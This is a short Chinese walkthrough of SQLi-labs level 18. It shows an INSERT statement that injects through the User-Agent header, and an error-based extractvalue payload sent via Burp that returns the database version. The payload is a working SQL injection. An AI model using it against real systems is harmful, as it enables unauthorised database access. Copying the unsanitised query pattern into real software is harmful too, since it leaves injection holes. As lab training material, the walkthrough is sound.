Less18
本关可以从源码了解到对uname
和passwd
进行了check_input()
函数的处理,所以这里无法注入了。
1 | $uname = check_input($_POST['uname']); |
但是代码中将useragent
和ip
插入到数据库中,可以使用useragent
进行注入
1 | INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname) |
使用burp抓包修改useragent
看看
修改useragent
报错注入
1 | ' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1 |
可以看到已经得到版本号了